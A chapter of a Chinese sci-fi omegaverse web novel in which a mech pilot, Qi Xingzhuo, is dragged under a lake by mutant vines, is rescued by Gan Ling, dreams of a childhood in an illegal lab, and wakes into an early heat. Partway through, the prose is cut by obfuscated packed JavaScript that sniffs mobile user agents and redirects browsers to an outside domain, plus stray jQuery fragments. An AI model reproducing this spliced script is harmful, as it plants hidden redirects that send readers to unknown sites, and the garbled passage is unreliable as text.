戚星灼告诉游相飞出入口关闭的时间,叮嘱他抓紧点后就离开继续往中心湖去了。
临走前,游相飞还一把鼻涕一把泪求他一定要救救甘苓。
怎么可能?
戚星灼几乎冷笑出声,中心湖里那个可是A级变异种,他自己能不能安全回来都两说。
为一个不相干的人犯险?他脑子又没坏。
戚星灼的目标是中心湖下的控制中心,并不与周遭的变异种缠斗,是以很顺利地来到了中心湖里。
他做足了应对水生藤蔓的准备,哪知下了水却发现湖中诡异地平静,来不及多想,戚星灼找了控制中心。
控制中心防水性很好,他进来时带进的水很快被过滤出去。
设定好出入口的关闭时间,戚星灼从控制中心离开游上了岸,相比与平静的湖面,岸上的变异种张牙舞爪,随时准备着纠缠他绞碎他。
出入口会在两个小时后关闭,如果这两个小时内没有到达出口他就要和这些变异种一起留在这了。
等军部修好出入口开关的设备,准备好人和装备进入考场不知要到什么时候了,到时候就算他没有死在变异种手里,也要饿死。
想到这,戚星灼毫不犹豫地向前走了两步,只是心脏像是被什么东西勒住了,越往前走被绞的越疼。
只要再也不能往前一步,戚星灼转身跃进了湖中。
湖水漫上来的那一刻,他的心脏终于平静了下来。
在沉溺于奇怪的梦中不准备追究时,他不是就做过为此付出代价的准备吗,有什么好犹豫的?
中心湖水很深,透明度也低,越往下视线越昏暗,根本看不清湖底的状况。
戚星灼试着喊了两声甘苓的名字,没有得到回应只好继续下潜。
下潜过程中有几只鱼类变异种不停地冲撞他,但是等级都很低,戚星灼便没有理会。
身后有什么东西以极快的速度破水而来,戚星灼敏锐地察觉到,提前避了过去。
是水生藤蔓,被他躲过去的藤蔓缠上了一只游荡的普通鱼类,几乎是下一刻,那只鱼黑白的鱼眼开始泛红,体型像是被烘烤的玉米粒,“嘭”一下变大,成为了变异种。
目睹整个过程的戚星灼顿感棘手,A级变异种的感染速度实在是太快了。
接着无数条藤蔓从不同方位向他袭来,戚星灼边躲避边继续下潜。
甘苓没有回应,可能是昏迷沉入水底,他得赶快找到她。
越往下光线越暗,幸而机甲有照明功能,但照明范围有限,忽而一只体型细长的东西撞上了几家,戚星灼刚开始没在意,但下一秒他却失去了对机甲的控制。
是电鳗变异种,电鳗本身的电流破坏了机甲的电力传输系统,一动不动的机甲立刻被藤蔓缠上,粗壮的藤蔓终于缠住了猎物,开始绞杀。
以灵敏型著称的敏捷型机甲没有支撑太久,缓慢地开始碎裂,机甲驾驶舱也开始渗水进来。
戚星灼已经完全失去了对机甲的控制,眼睁睁地看着机甲四分五裂,他并不想死在这儿,机甲碎裂后他试着往水面游,但人的速度终究比不过变异种。
戚星灼被缠住脚踝往下拖,他徒劳地向上伸着手臂,正在这时一个金属的圆盖擦过他上方的电鳗,借着摩擦时产生的短暂光芒戚星灼看清了圆盖上的图案,是一把基因双螺旋的变体钥匙。
他伸出手握住了圆盖,肺里的氧气渐渐耗尽,湖水从耳鼻侵入体内,他的意识渐渐模糊。
可惜还没有找到甘苓。
失去意识的戚星灼身体无力的下沉,攥着圆盖的手惯性地向上伸着。
黑暗湖水中,一只手突然出现,攥紧了他的手腕。
·
“你叫什么名字?”
戚星灼睁开眼,入目皆是冷色的金属仪器、各色各样的药剂,还有面前瘦弱的年幼小女孩。
因为瘦削,小女孩本该圆溜可爱的眼睛显得格外大,几乎到了诡异的地步,那双硕大的黑漆漆的眼睛紧紧盯着他:“你长的真好看,像蝴蝶一样好看,你见过蝴蝶标本吗,我知道哪里有,你要不要去看看?”
“347号该抽血了。”带着白色口罩的实验员拿着采血管走了过来。
“来了。”小女孩又扭头飞快地对他说了声:“小蝴蝶,我一会儿再来看你。”
接着像只小鸟一样跳起来,欢快地跑到实验员面前,伸出了自己骨瘦如柴的手臂。
还没有实验员的大腿高的小女孩被实验员的阴影笼盖,像是在被一只巨大的怪物缓慢吞吃入腹。
和小女孩手臂一样粗的采血管被一点点灌满,小女孩唇色惨白,身体止不住摇晃。
别这样对她。
巨大的悲伤如潮水般涌进戚星灼的心口,他无声地流下眼泪。
别这样对她,她还这么小。
戚星灼在一阵刺痛中醒了过来,条件反射地抽了下脚踝。
听见轻微的抽噎声,甘苓抬眼望去,只见戚星灼如冷玉的眼眸中蒙着层雾气,眼尾微微下垂,显得偏长的眼睛圆润了些,像是可怜兮兮的狗狗眼。
甘苓手上拿了瓶修复液,盯着他的眼睛失神了片刻,问:“脚踝很疼吗?”
戚星灼摇了摇头,他看了下四周的环境,明了他们现在在中心湖里的出入口操作室中。
甘苓将修复液递给他:“涂点药吧。”
戚星灼接过来,看向自己被藤蔓勒渗血的脚踝,诧异道:“我竟然没有被感染成变异种吗?”
虽然他进入考场前注射了预防感染的阻隔剂,但A级变异种的感染能力太强,很难说阻隔剂有没有用。
甘苓站起身:“没有。”
戚星灼突然想起来:“现在什么时间?”
甘苓轻叹道:“你昏迷一天了,出入口已经关闭,出不去了。”
甘苓说罢走到了距离他不远的地方,那里倒着一架毁坏的机甲,甘苓背对着他在机甲旁做了下来,开始着手修理机甲。
戚星灼靠着墙静静地看着她的动作,好半晌才想起来抬手拭去脸颊上的泪。
他竟然久违地梦了小时候的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288935|182381||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
那时他跟着父母一起出席了场十三区的公益活动。
活动结束后他趴在一个桌子睡着,而他的父母忙着各自的事都以为对方会管他,结果等他一觉醒来,身边空荡荡的没有一个人。
慈善活动的地点在十三区极为偏僻的一个地方,甚至连信号都没有,年幼的戚星灼拿终端联系不上人,独自在街上走了一圈,立刻被人拐走了。
他被卖进了一所非法实验室,实验室里很多和他年纪差不多的孩子,都被拿来做人体实验。
“作战服外衣不透气,你里面的衣服估计还是湿的,脱下来晾一晾吧,不然容易生病,”甘苓说罢,又补充道:“你放心,我不会转过身看的。”
戚星灼没有脱,和一个alpha同处一个空间,他不想做任何可能暴露自己是omega的事。
不过经甘苓这么一说,戚星灼确实察觉自己的身体似乎有点发热,他抬手摸了摸自己的额头,果然有些烫手。
现在也没有药,只能熬一熬了。
幸好不是情热期发烧。
他和甘苓最少要这么呆上半个多月,他暗暗庆幸自己的腺体阻隔贴是特制的,坚持半个月不成问题。
戚星灼这么想着,抬手去摸自己的后颈。
甘苓正专心修理毁坏的机甲,忽而听见身后玻璃破碎的声音。
循声看去,只见戚星灼一手放在自己的后颈上,眼睛里先是迷茫和震惊,而后呆呆地望向她,眼睛里便多了防备和恐惧。
他手上的修复液已经在他碰到后颈时摔在了地上,此时两只手支撑着绵软无力身体不停地往离她远的地方缩。
甘苓轻声安抚他:“你别害怕,我不会做什么的。”
戚星灼勉强平静下来,声音微颤:“我的抑制贴怎么不见了?”
“是我撕掉的。”
“你……”戚星灼撑着身体又往后挪了一点,但他已经贴在了墙壁上,这样的动作只是让他像受惊的小动物一样蜷缩了起来。
如果甘苓现在想对他做点什么他根本反抗不过,如果被强制终身标记了怎么办,终身标记不洗掉他就永远会受制于标记他的alpha,如果洗掉的话他的身体会遭受严重的损害,到时候能不能驾驶机甲都不好说了。
“你别误会,我救下你的时候你的抑制贴已经快掉下来了,湖水不干净,腺体又很脆弱,所以我自作主张摘了下来,给你清理了腺体。”
甘苓诚恳道:“我没有冒犯的意思,这里没有治疗腺体的药,如果不及时清理干净可能会给腺体留下永久性的损伤。”
戚星灼防备心不减,将信将疑地问:“那你刚刚怎么不跟我说?”
甘苓奇怪道:“我以为你察觉到了。”
戚星灼怔愣了片刻才明白过来甘苓的意思,他太熟悉自己的气味了,以助于刚醒来时没有察觉,其实现在整个操作室都充斥着浓重的omega信息素气味。
气味浓厚的程度完全超过了正常的范围。
他这不是发烧,他是情热期提前了。